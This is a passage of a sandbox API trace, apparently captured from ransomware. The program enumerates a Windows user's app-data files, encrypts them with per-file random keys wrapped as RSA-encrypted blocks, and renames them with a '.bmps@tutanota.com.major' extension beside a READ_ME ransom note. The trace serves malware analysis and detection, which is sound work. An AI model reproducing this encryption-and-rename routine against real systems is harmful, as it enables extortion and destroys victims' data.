nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0199.987] SetLastError (dwErrCode=0x12) [0199.987] GetLastError () returned 0x12 [0199.987] SetLastError (dwErrCode=0x12) [0199.987] GetLastError () returned 0x12 [0199.987] SetLastError (dwErrCode=0x12) [0199.987] FindNextFileW (in: hFindFile=0x30fb3c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3081f21b, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3081f21b, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3081f21b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0199.987] SetLastError (dwErrCode=0x12) [0199.987] GetLastError () returned 0x12 [0199.987] SetLastError (dwErrCode=0x12) [0199.987] GetLastError () returned 0x12 [0199.987] SetLastError (dwErrCode=0x12) [0199.987] FindNextFileW (in: hFindFile=0x30fb3c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x765df54b, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x765df54b, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x765df54b, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="roaming.lock", cAlternateFileName="ROAMIN~1.LOC")) returned 1 [0199.987] SetLastError (dwErrCode=0x12) [0199.987] GetLastError () returned 0x12 [0199.987] SetLastError (dwErrCode=0x12) [0199.987] GetLastError () returned 0x12 [0199.987] SetLastError (dwErrCode=0x12) [0199.987] FindNextFileW (in: hFindFile=0x30fb3c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x765df54b, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xbfbb19f3, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xbfbb19f3, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat", cAlternateFileName="")) returned 1 [0199.988] SetLastError (dwErrCode=0x12) [0199.988] GetLastError () returned 0x12 [0199.988] SetLastError (dwErrCode=0x12) [0199.988] GetLastError () returned 0x12 [0199.988] SetLastError (dwErrCode=0x12) [0199.988] FindNextFileW (in: hFindFile=0x30fb3c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x84031c7e, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x84031c7e, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x84031c7e, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat.LOG1", cAlternateFileName="SETTIN~1.LOG")) returned 1 [0199.988] SetLastError (dwErrCode=0x12) [0199.988] GetLastError () returned 0x12 [0199.988] SetLastError (dwErrCode=0x12) [0199.988] GetLastError () returned 0x12 [0199.988] SetLastError (dwErrCode=0x12) [0199.988] FindNextFileW (in: hFindFile=0x30fb3c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x84031c7e, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x84031c7e, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x84031c7e, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat.LOG2", cAlternateFileName="SETTIN~2.LOG")) returned 1 [0199.988] SetLastError (dwErrCode=0x12) [0199.988] GetLastError () returned 0x12 [0199.988] SetLastError (dwErrCode=0x12) [0199.988] GetLastError () returned 0x12 [0199.988] SetLastError (dwErrCode=0x12) [0199.988] FindNextFileW (in: hFindFile=0x30fb3c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x84031c7e, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x84031c7e, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x84031c7e, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat.LOG2", cAlternateFileName="SETTIN~2.LOG")) returned 0 [0199.988] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0199.988] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0199.993] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\Settings\\settings.dat.LOG2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\settings\\settings.dat.log2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10b8 [0199.993] GetFileSizeEx (in: hFile=0x10b8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0199.994] ReadFile (in: hFile=0x10b8, lpBuffer=0x59d2a0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d2a0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0199.994] SetFilePointer (in: hFile=0x10b8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.994] WriteFile (in: hFile=0x10b8, lpBuffer=0x59d320*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d320*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0199.994] SetFilePointer (in: hFile=0x10b8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0199.994] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.994] WriteFile (in: hFile=0x10b8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.995] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0199.995] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0199.995] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0199.995] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="OELfdQP9eVJpt1vJd7o2z2JWwzB8cGLI5hWwCSc2AnE6W8VaJRExLUr4DV6m+vgE\n3bnuciUthZZorDb+76Bl45NNr807SvYb8niW1/dWrr/Ga7pt+1C1tB/9Gmc5nerF\nFjGFD+Ol5dG29T5LBfd7ptapiS02gDI6yxroMstaZh53BUrV8DIZ9TptCQTJvxV9\nSaSRSHtIEoDRldYE1xACT7hWWzYZuk7WzhuPGjGrjTLwNGiis6wci1jui12w8HDf\n/Ym6Y6DNCfXhDpLQkV6B/HtVphmyK4tkYKusO6BS0wUkSEp6Ua0woPh9+pQeuYzM\n9Fxz+52K1aOqnd+KWcIOLw==\n", pcchString=0x2e3f9a8) returned 1 [0199.995] WriteFile (in: hFile=0x10b8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0199.995] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.995] WriteFile (in: hFile=0x10b8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.996] CloseHandle (hObject=0x10b8) returned 1 [0199.996] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\Settings\\settings.dat.LOG2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\settings\\settings.dat.log2"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\Settings\\settings.dat.LOG2.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\settings\\settings.dat.log2.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0199.999] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0199.999] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0199.999] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\Settings\\settings.dat.LOG1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\settings\\settings.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10b8 [0200.000] GetFileSizeEx (in: hFile=0x10b8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0200.000] ReadFile (in: hFile=0x10b8, lpBuffer=0x59d1c0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d1c0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0200.000] SetFilePointer (in: hFile=0x10b8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.000] WriteFile (in: hFile=0x10b8, lpBuffer=0x59d1e0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d1e0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0200.000] SetFilePointer (in: hFile=0x10b8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0200.000] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0200.000] WriteFile (in: hFile=0x10b8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0200.001] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0200.001] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0200.001] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0200.002] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="JuKa/6GiaUsjFWpew3wZQPiQll4oOhxH7l0YCdHw2fg3QUQPuAr2VSiH/W3OIe/O\ncCmpsvCdP3SmhvWzsOHg7VOF9vlU/G8ir95n1dSkzvWpqG77PnCOSgMUQ78QyJ2Q\nb9JzWMxpQbHXm4axxzL+7hHjuUPKUEsJzrfgBvV8Bk2sA/vBBFMZ+0VS0Y4CLqRR\nXL6aUIbmWxArt/V0nCNEWAB6T/XqcJf4+PVpc4s+ufBJCMTS4i69YDFLgMLwVURr\nIjtiUYn7JkH+A5yDPCo3Xvt1rMuMXB5w1BvKG9a/SZ/60fn1XWfUenTqWndHXgqw\n9UWu/muwH6doi74+5BjATw==\n", pcchString=0x2e3f9a8) returned 1 [0200.002] WriteFile (in: hFile=0x10b8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0200.002] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0200.002] WriteFile (in: hFile=0x10b8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0200.002] CloseHandle (hObject=0x10b8) returned 1 [0200.002] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\Settings\\settings.dat.LOG1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\settings\\settings.dat.log1"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\Settings\\settings.dat.LOG1.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\settings\\settings.dat.log1.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0200.005] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0200.005] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0200.007] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10b8 [0200.008] GetFileSizeEx (in: hFile=0x10b8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=262144) returned 1 [0200.008] ReadFile (in: hFile=0x10b8, lpBuffer=0x30fc010, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x30fc010*, lpNumberOfBytesRead=0x2e3f9b4*=0x40000, lpOverlapped=0x0) returned 1 [0200.042] SetFilePointer (in: hFile=0x10b8, lDistanceToMove=-262144, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.042] WriteFile (in: hFile=0x10b8, lpBuffer=0x31c4010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x31c4010*, lpNumberOfBytesWritten=0x2e3f9b4*=0x40000, lpOverlapped=0x0) returned 1 [0200.043] SetFilePointer (in: hFile=0x10b8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x40000 [0200.043] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0200.043] WriteFile (in: hFile=0x10b8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0200.044] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0200.044] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0200.044] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0200.045] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="Vq35v7S/JSy17kqQXR+2edZcIORrwbuNGWIcbWLkbrfFzOR/+VAQv90EtpzW/YL2\nQygNKbFNVBacu+ZFdIee6a2UewlOX6ftbWPb33MTkH9+Ef6BZQC40Q8D4mQayK9s\nYFYUnlQnM+ju9FttNohVQT2bSXV4MiLTM+xITdIL3g30YtSfMoX672gj/Ot9Nzq0\nVFEplhmabYyLBabQHJRoM2HFsyFpltHOi9Mi/HKWdSzmDKwTotD8xb+r02tTI3o+\nTsStryq5TNjqJXnwSosSPEXcGU66hdB79XlHOs6zRR3jVqO4lI2PGT1QY50JeZS0\nfcUaGDzgc6QdA0c5UkxjRw==\n", pcchString=0x2e3f9a8) returned 1 [0200.045] WriteFile (in: hFile=0x10b8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0200.045] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0200.045] WriteFile (in: hFile=0x10b8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0200.045] CloseHandle (hObject=0x10b8) returned 1 [0200.045] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\settings\\settings.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\Settings\\settings.dat.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\settings\\settings.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0200.075] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0200.075] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0200.078] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\Settings\\roaming.lock" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\settings\\roaming.lock"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10b8 [0200.078] GetFileSizeEx (in: hFile=0x10b8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0200.078] ReadFile (in: hFile=0x10b8, lpBuffer=0x59d380, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d380*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0200.078] SetFilePointer (in: hFile=0x10b8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.078] WriteFile (in: hFile=0x10b8, lpBuffer=0x59d2f0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d2f0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0200.078] SetFilePointer (in: hFile=0x10b8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0200.079] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0200.079] WriteFile (in: hFile=0x10b8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0200.079] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0200.080] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0200.080] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0200.080] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="Hb4Xciytyju/TKHRkZMVzvic8RFIl2IF8HF26iNVMEkJeknk+vxtrItV9PP1hJiT\nIM6zqR6Z7lHW61VTW5P4zou7AT30CPOgdS7qzoW4697KqH6MGSRhyGcJV8qVk9Vt\nEizcZXmE0TcNyjDy8IyLEIqxXWxuakpl4zQBgiEJEfUvH3ntVoHD9IWhPguCeVpv\no103eOMGgZROesPLSRz7lnoGjRff0sZuEgQntXp7x10cT3UXEg3cQ28gOfqtZSWu\nlHOwor5ZV8Z+hjS+qcnEVPs1UiY3+70Wd+U5k1KqaP6+9YsCHpTkjsMTaPvDHBcb\nxNVdW3NwNDFF1v9iBwOmCw==\n", pcchString=0x2e3f9a8) returned 1 [0200.080] WriteFile (in: hFile=0x10b8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0200.080] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0200.080] WriteFile (in: hFile=0x10b8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0200.080] CloseHandle (hObject=0x10b8) returned 1 [0200.081] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\Settings\\roaming.lock" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\settings\\roaming.lock"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\Settings\\roaming.lock.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\settings\\roaming.lock.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0200.083] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\SystemAppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xddb58b47, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xddb58b47, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x3081f21b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x30fb780 [0200.083] SetLastError (dwErrCode=0x0) [0200.083] GetLastError () returned 0x0 [0200.083] SetLastError (dwErrCode=0x0) [0200.083] GetLastError () returned 0x0 [0200.083] SetLastError (dwErrCode=0x0) [0200.083] FindNextFileW (in: hFindFile=0x30fb780, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xddb58b47, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xddb58b47, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x3081f21b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.084] SetLastError (dwErrCode=0x0) [0200.084] GetLastError () returned 0x0 [0200.084] SetLastError (dwErrCode=0x0) [0200.084] GetLastError () returned 0x0 [0200.084] 